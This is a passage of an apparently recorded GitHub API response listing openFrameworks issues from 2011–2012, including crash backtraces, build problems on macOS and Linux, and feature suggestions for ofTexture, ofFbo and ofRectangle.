Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"html_url":"https://github.com/openframeworks/openFrameworks/issues/811","assignee":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2223158,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"html_url":"https://github.com/openframeworks/openFrameworks/issues/810","assignee":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"id":2206980,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4937'), ('content-length', '49276'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"362300e7c4c0fc8f170b2c345084dfad"'), ('date', 'Tue, 29 May 2012 19:27:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"html_url":"https://github.com/openframeworks/openFrameworks/issues/800","assignee":null,"title":"ofInsidePoly should be a static method of 